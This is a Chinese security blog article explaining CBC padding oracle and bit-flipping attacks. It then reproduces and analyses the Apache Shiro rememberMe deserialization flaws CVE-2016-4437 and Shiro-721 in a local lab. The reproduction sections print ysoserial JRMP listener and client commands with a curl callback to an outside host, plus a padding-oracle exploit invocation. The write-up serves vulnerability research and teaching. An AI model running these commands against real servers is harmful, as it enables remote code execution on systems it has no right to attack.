首页
活动
安全导航

Shiro Padding Oracle Attack 反序列化

阅读量828590

|评论1

|

发布时间 : 2020-03-13 15:30:03

 

基础

参考ctfwiki中对CBC模式的介绍，先看一下CBC模式下的加解密模式图：

简单概括一下，加密过程初始化向量IV和第一组明文进行异或，然后经过加密算法得到第一组密文，并拿它作为下一分组加密的IV向量，迭代下去。解密过程反之，先解密再和IV向量异或得到明文plaintext。这里的IV参数是一个随机值(长度和分组长度等长)，为了保证多次加密相同数据生成的密文不同而设计的。

为了方便后文描述，将IV和Planttext异或后的值称为中间intermediary Value。

分组的填充padding
分组的长度，不同加密算法的长度如下图所示：

分组密码(block cipher)需要保证总长度是分组长度的整数倍，但一般在最后一组会出现长度不够分组长度的情况，这时候就需要使用padding填充，填充的规则是在最后填充一个固定的值，值的大小为填充的字节总数，即需最后还差2个字节，则填充两个0x02。下边8个字节的填充范围为0x01-0x08。

这种Padding原则遵循的是常见的PKCS#5标准。http://www.di-mgt.com.au/cryptopad.html#PKCS5

Padding Oracle Attack

利用条件

  1. 攻击者知道密文和初始向量IV
  2. padding错误和padding正确服务器可返回不一样的状态

攻击效果
正常CBC解密需要知道IV、Key、密文，而通过Padding Oracle漏洞，只用知道IV、密文即可获得明文。

demo

以这样一个程序为例：

http://sampleapp/home.jsp?UID=0000000000000000EFC2807233F9D7C097116BB33E813C5E

前16个字母(8字节)0000000000000000为IV，后32字母(16字节)为密文：

padding 0x01
通常程序校验padding是否正确是通过检查末尾的那个字节的值，我们可以通过修改IV的值使得其与中间量intermediary Value异或得到的结果(plaintext)最后一个字节(填充位)为0x01。

实现这样一个穷举的过程，需要改变IV的最后一个字节(最多255次)，且需要服务端将判断padding校验的结果返回给客户端(类似于布尔注入的逻辑)。比如在web应用中，padding正确(解密的内容不正确)返回200，padding错误(解密内容错误)返回500。

至此通过上述步骤，我们可以通过IV(fuzz出的IV)和0x01异或得到intermediary Value中间值。

在单个分组的情况下，其实我们拿着intermediary Value和初始向量IV异或，即可拿到最后明文的最后一个字节：

padding 0x02
此时，通过修改IV第八个字节的值使得最后一个padding位变成0x02(上图中0x67^0x02=0×64)，再fuzz IV第七个字节，使得服务端解出plaintext其填充位为0x02，以此类推。

总的来说，其实攻击的本质都是为了得到中间临时变量intermediary value，通过其和初始IV计算出明文。

多分组密文情况
上面说到的Padding Oracle Attack是以单个分组进行的，如果密文有多个分组，其最大的区别在于这一分组加密的初始IV向量为上次组加密的结果Ciphertext。

在多分组密文中，由于密文和IV已知且可控，先拿第一组padding的方式爆破IV推算intermediary value，然后根据原始IV计算出明文，也可以通过修改原始IV控制密文结果；再拿第一二组，用padding的方式爆破intermediary value，此时的初始IV为第一组的密文，以此类推。

防御

漏洞的关键点在于攻击者能够判断其padding的结果，在使用CBC模式的分组加密算法需要注意这一点，比如让服务端加上异常处理等等。

实验代码：Demo

CBC字节反转

在乌云知识库里有一篇文章的例子说的比较清晰：CBC字节翻转攻击-101Approach，
再来参考ctfwiki中对CBC模式的介绍：

简单来说，通过构造第n的密文块为C(n) xor P(n+1) xor A，使得第n+1密文块为A(个人觉得CTFWiki这里写错了)，为什么呢？

C(n) xor P(n+1)的结果实际上就是第n+1组的intermediary value，在解密时让intermediary value自己异或自己得全0，然后再异或A得A。如下图所示：

简而言之，通过损坏密文字节来改变明文字节，攻击条件为知道一组明文和密文。

 

CVE-2016-4437: Shiro 反序列化(Shiro <= 1.2.4)

Apache Shiro是一个开源安全框架，提供身份验证、授权、密码学和会话管理。在Apache Shiro <= 1.2.4版本中存在反序列化漏洞。

环境搭建

去github上下一个shiro 1.2.4:

git clone https://github.com/apache/shiro.git
cd shiro
git checkout shiro-root-1.2.4

然后修改shiro/samples/web/pom.xml

<!--  需要设置编译的版本 -->  
    <properties>
       <maven.compiler.source>1.8</maven.compiler.source>
       <maven.compiler.target>1.8</maven.compiler.target>
   </properties>

   <dependencies>
       <dependency>
           <groupId>javax.servlet</groupId>
           <artifactId>jstl</artifactId>
           <!--  这里需要将jstl设置为1.2 -->
           <version>1.2</version> 
           <scope>runtime</scope>
       </dependency>

    ·   <!--加一个gadget-->
       <dependency>
           <groupId>org.apache.commons</groupId>
           <artifactId>commons-collections4</artifactId>
           <version>4.0</version>
       </dependency>
<dependencies>

编译：sudo mvn package

爆了这样的错：

先得去搞个jdk1.6来，mac下弃用了，参考这篇文章：https://blog.csdn.net/q258523454/article/details/84029886，去这里下[mac的jdk1.6][6]。

然后切换到root创一个文件：/var/root/.m2/toolchains.xml

<?xml version="1.0" encoding="UTF-8"?>
<toolchains xmlns="http://maven.apache.org/TOOLCHAINS/1.1.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://maven.apache.org/TOOLCHAINS/1.1.0 http://maven.apache.org/xsd/toolchains-1.1.0.xsd">
<!--插入下面代码-->
  <toolchain>
    <type>jdk</type>
    <provides>
      <version>1.6</version>
      <vendor>sun</vendor>
    </provides>
    <configuration>
        <!--这里是你安装jdk的文件目录-->
      <jdkHome>/Library/Java/JavaVirtualMachines/1.6.0.jdk/</jdkHome>
    </configuration>
  </toolchain>
</toolchains>

再编译就能成功了：

将这个war包放到tomcat的webapp目录下，然后访问http://127.0.0.1:8080/shiro/会自动解压：

也可以把它导到idea里打包，接着配置idea，这里踩了坑EDU版本是没有tomcat server的，一定要用旗舰版：

漏洞复现

EXP打ysoserial的二链：shiro1.2.4RCE

代码分析

加密

先下个断点：org.apache.shiro.mgt.AbstractRememberMeManager#onSuccessfulLogin，去login.jsp登录root secret，选中Remember Me。

在forgetIdentity函数中处理了request和response请求，在response中处理remember me的cookie。

再跟进rememberIdentity函数：

调用convertPrincipalsToBytes将账户信息传入，先是进行序列化，再来一个加密：

跟进encrypt函数：

getCipherService先获取了一下加密服务的配置信息，包括加密模式，填充方式，加密类型等等：

cipherService.encrypt

其中秘钥在AbstractRememberMeManager.java中设置的一个定值：

通过构造方法设置的：

在加密过程中需要关注的一个点，将iv向量放置在密文头部：org/apache/shiro/crypto/JcaCipherService.java

加密完成后，返回结果传入rememberSerializedIdentity函数，处理http请求，返回cookie到response中：

到这里cookie加密处理就结束了，再来跟一下是如何解密cookie的。

解密

org/apache/shiro/mgt/AbstractRememberMeManager.java#getRememberedPrincipals

先从getRememberedSerializedIdentity函数获取cookie，base64解码：

然后进入convertBytesToPrincipals函数，先是解密，接着反序列化

坑点：反序列化限制

网上大部分文章都是拿common-collections2这调链来复现，畅通无阻。

我们来试试其他链，把gadget换成ysoserial5打shiro自带的commons-collections-3.2.1，会抛出这样一个错误：

再把其组件拉出来单独试试：

调试分析一下：org/apache/shiro/io/DefaultSerializer.java

跟进ClassResolvingObjectInputStream类：org/apache/shiro/io/ClassResolvingObjectInputStream.java

他继承了ObjectInputStream类，重写了resolveClass方法，再来看一下原版resolveClass方法：

Class.forName和ClassUtils.forName的差别，来看看ClassUtils具体实现：org/apache/shiro/util/ClassUtils.java#forName

shiro不是像原版那样通过java.lang.Class反射获取class，而是通过ParallelWebappClassLoader去加载class

查了一些下资料，看到orange师傅文章评论中说不支持装载数组类型，这里没细跟原因了。

JRMP绕过

Orang师傅在文章中一顿操作，发现JRMP可以避开上述限制，测试一下：

server：

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'curl http://x.x.x.x:8989'

client:

java -jar ysoserial.jar JRMPClient 'x.x.x.x:12345'

稍微调了一下EXP,大概能行的原因就是走的远程的class加载的，而不是像之前那样直接打本地：

不过有一点比较困惑，用URLDNS打了没结果，但是直接用5链JRMP打却可以…

 

Shiro Padding Oracle攻击（Shiro <= 1.4.1）

漏洞复现

EXP用3ndz/Shiro-721，shiro的版本1.4.1配置过程参考上文。

yso生成个jrmpclient：

java -jar ysoserial.jar JRMPClient 'x.x.x.x:12345' > JRMPClient

服务端起一个jrmplistener

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections2 'curl http://x.x.x.x:8989'

python2 shiro_padding_oracle.py http://127.0.0.1:8088/samples_web_war_exploded/index.jsp [rememberMe的cookie] JRMPClien

漏洞分析

先来看看这个版本对秘钥的处理：org/apache/shiro/mgt/AbstractRememberMeManager.java

一直跟进，可以看到将之前的硬编码秘钥换成了动态生成：

padding错误

在我们给rememberMe输入错误的padding后，经过上文提到的解密过程后，会抛出异常:/org/apache/shiro/crypto/JcaCipherService.class

然后在org/apache/shiro/mgt/AbstractRememberMeManager.java#getRememberedPrincipals捕获

最后在org/apache/shiro/web/servlet/SimpleCookie.java中给返回包设置一个rememberMe的cookie，覆盖掉之前的值：

调用栈：

padding正确，反序列化错误

在之前的padding oracle漏洞中，依靠控制前一块密文来伪造后一块的明文，根据Padding的机制，可构造出一个bool条件，从而逐位得到明文，然后逐块得到所有明文。

也就是说通过padding获取来伪造明文的，会改变前一块的密文，也就是会影响到解密的结果。我们来看shiro中对于解密结果的处理，在DefaultSerializer.class中进行反序列化时，会失败而抛出异常：

而对于客户端而言，结果是一样的，都走到了AbstractRememberMeManager.java的异常处理：

接着就是给客户端重置rememberMe的cookie。

拼接序列化数据

在gyyy:浅析Java序列化和反序列化这篇文章中介绍了java序列化和反序列化的机制，关键点在于ObjectOutputStream是一个Stream，他会按格式以队列方式读下去，后面拼接无关内容，不会影响反序列化。

所以现在BOOL条件就出来了，拼接无关数据，padding 正确，能正常反序列化，padding错误抛出异常。

最后payload的构造就是不断的用两个block去padding得到intermediary之后，构造密文使得解密后得到指定明文，最后拼接到原有的cookie上。

exp: https://github.com/3ndz/Shiro-721

参考文章：

[1]: https://www.freebuf.com/articles/web/15504.html
[2]: https://ctf-wiki.github.io/ctf-wiki/crypto/blockcipher/mode/cbc-zh/
[3]: https://saucer-man.com/information_security/396.html
[4]: https://github.com/apache/shiro/archive/shiro-root-1.2.4.zip
[5]: http://drops.xmd5.com/static/drops/tips-7828.html
[6]: https://support.apple.com/kb/DL1572?locale=zh_CN
[7]: https://paper.seebug.org/shiro-rememberme-1-2-4/
[8]: http://blog.orange.tw/2018/03/pwn-ctf-platform-with-java-jrmp-gadget.html
[9]: https://bling.kapsi.fi/blog/jvm-deserialization-broken-classldr.html
[10]: https://github.com/threedr3am/marshalsec
[11]: https://www.anquanke.com/post/id/193165
[12]: https://github.com/3ndz/Shiro-721
[13]: https://p0sec.net/index.php/archives/126/
[14]: https://xz.aliyun.com/t/3847

本文由h4loyyds原创发布

转载，请参考转载声明，注明出处： https://www.anquanke.com/post/id/200793

安全客 - 有思想的安全新媒体

分享到：微信
+15赞
收藏
h4loyyds
分享到：微信

发表评论

h4loyyds

  • 文章
  • 4
  • 粉丝
  • 9

TA的文章

相关文章

热门推荐

文章目录
安全客
商务合作
内容需知
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全客 All Rights Reserved 京ICP备08010314号-66